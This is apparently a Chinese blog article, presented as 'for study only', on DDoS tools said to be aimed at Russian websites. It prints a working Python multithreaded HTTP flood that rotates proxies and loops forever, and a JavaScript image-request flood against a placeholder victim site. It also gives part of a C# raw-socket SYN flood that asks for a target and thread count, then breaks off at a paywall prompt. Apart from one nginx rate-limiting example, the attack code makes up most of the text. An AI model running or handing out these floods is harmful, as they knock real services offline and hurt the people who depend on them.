
随着俄乌战事的进行,欧美一些网友为了发泄自己心中的愤怒,开始自发的采用技术手段来攻击俄罗斯的网站等互联网服务,导致了俄罗斯切断了互联网外网通道,国外的网友也将这些攻击行为和攻击源代码放到github上,让更多的人去攻击,这种做法本来就是不对的,战争是很残酷的,我们期望和平谈判解决争议,作为欧美国家的网友更不能火上浇油,今天我站在学习研究的角度来分析一下这几类攻击方式和源代码,仅供学习和研究。
一、python cc攻击
原理就是使用python多线程和代理ip池结合request针对某个网站地址进行并发访问,造成其瘫痪掉,示例代码如下:#!/usr/local/python3/bin/python3
# -*- coding: utf-8 -*
import requests
import threading
from queue import Queue
import random
q=Queue()
class Cc:
def get_text(self):
iplist=['192.168.1.2']
return iplist
#可以从ip.txt中读取代理ip
with open('./tt/ip.txt','r',encoding='utf-8')as f:
a=f.readlines()
for x in a:
iplist.append(x.strip('\n'))
return iplist
def start(self,url):
iplist = self.get_text()
ip = random.choice(iplist)
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3751.400',
}
t={
'http':ip
}
try:
get=requests.get(url=url,headers=headers,proxies=t)
print('完成')
except Exception as e:
print('失败')
def go(self,url):
#设置进程数,可以设置更多
for x in range(2):
th=threading.Thread(target=self.start,args=(url,))
th.start()
th.join()
if __name__ == '__main__':
c = Cc()
while True:
c.go('http://domian.com/')#设置域名
这种工具方式的防范措施换简单,对针对的网站url进行限流访问,可以在nginx设置好,采用session+COOKIE防代理攻击。
http {
limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;
server {
#限制每ip每秒不超过20个请求,漏桶数burst为5
#brust的意思就是,如果第1秒、2,3,4秒请求为19个,
#第5秒的请求为25个是被允许的。
#但是如果你第1秒就25个请求,第2秒超过20的请求返回503错误。
#nodelay,如果不设置该选项,严格使用平均速率限制请求数,
#第1秒25个请求时,5个请求放到第2秒执行,
#设置nodelay,25个请求将在第1秒执行。
limit_req zone=one burst=1 nodelay;
}
}
$binary_remote_addr 表示:客户端IP地址
zone 表示漏桶的名字
rate 表示nginx处理请求的速度有多快
burst 表示峰值
nodelay 表示是否延迟处理请求,还是直接503返回给客户端,如果超出rate设置的情况下。
二、html+javascript攻击
<script>
function imgflood() {
var TARGET = ''victim-website.com'
var URI = '/index.php?'
var pic = new Image()
var rand = Math.floor(Math.random() * 1000)
pic.src = 'http://'+TARGET+URI+rand+'=val'
}
setInterval(imgflood, 10)
</script>
原理就是在html页面中创建很多的image标签src指向攻击者的url地址。这种也是cc攻击,但是这个攻击有限,毕竟浏览器运行js是单线程的方式。防范的方式跟第一条一样。
三、四层网络协议层攻击
以上两种都是基于应用层的攻击,不是很专业,那么对网络四层协议层进行的ddos攻击就比较专业了,通过伪造ddos的tcp报文来欺骗服务器,达到服务器tcp资源耗尽的目的,c#参考代码如下://在工程属性中设置"允许不安全代码"为true
?using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;
//需要的命名空间不用解释了吧
namespace syn
{
public struct ipHeader
{
public byte ip_verlen; //4位首部长度+4位IP版本号
public byte ip_tos; //8位服务类型TOS
public ushort ip_totallength; //16位数据包总长度(字节)
public ushort ip_id; //16位标识
public ushort ip_offset; //3位标志位
public byte ip_ttl; //8位生存时间 TTL
public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)
public ushort ip_checksum; //16位IP首部校验和
public uint ip_srcaddr; //32位源IP地址
public uint ip_destaddr; //32位目的IP地址
}
public struct psdHeader
{
public uint saddr; //源地址
public uint daddr; //目的地址
public byte mbz;
public byte ptcl; //协议类型
public ushort tcpl; //TCP长度
}
public struct tcpHeader
{
public ushort th_sport; //16位源端口
public ushort th_dport; //16位目的端口
public int th_seq; //32位序列号
public uint th_ack; //32位确认号
public byte th_lenres; //4位首部长度/6位保留字
public byte th_flag; //6位标志位
public ushort th_win; //16位窗口大小
public ushort th_sum; //16位校验和
public ushort th_urp; //16位紧急数据偏移量
}
//这3个是ip首部tcp伪首部tcp首部的定义。
public class syn
{
private uint ip;
private ushort port;
private EndPoint ep;
private Random rand;
private Socket sock;
private ipHeader iph;
private psdHeader psh;
private tcpHeader tch;
public UInt16 checksum(UInt16[] buffer, int size)
{
Int32 cksum = 0;
int counter;
counter = 0;
?
while (size > 0)
{
UInt16 val = buffer[counter];
?
cksum += Convert.ToInt32(buffer[counter]);
counter += 1;
size -= 1;
}
?
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (UInt16)(~cksum);
}
//这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样
public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand)
{
ip = _ip;
port = _port;
ep = _ep;
rand = _rand;
ipHeader iph = new ipHeader();
psh = new psdHeader();
tch = new tcpHeader();
sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
//这2个挺重要,必须这样才可以自己提供ip头
}
//传参数的多线程需要用到代构造函数的对象。
static void Main(string[] args)
{
Console.WriteLine("1、输入攻击ip或域名");
try
{
IPHostEntry pe = Dns.GetHostByName(Console.ReadLine());
uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序
Console.WriteLine("2、输入攻击端口");
ushort port = ushort.Parse(Console.ReadLine());
IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);
byte[] bt = BitConverter.GetBytes(port);
Array.Reverse(bt);
port = BitConverter.ToUInt16(bt, 0);
//要攻击的端口也得转为网络字节序,必须是16位0-65535,如果用hosttonetworkorder就转成32位的了,无奈这样
Console.WriteLine("3、输入攻击线程,最多50个");
int xiancheng = Int32.Parse(Console.ReadLine());
if (xiancheng < 1 || xiancheng > 50)
{
Console.WriteLine("必须在1到50之间");
return;
}
Random rand = new Random();
Thread[] t = new Thread[xiancheng];
...点击查看剩余70%
网友评论0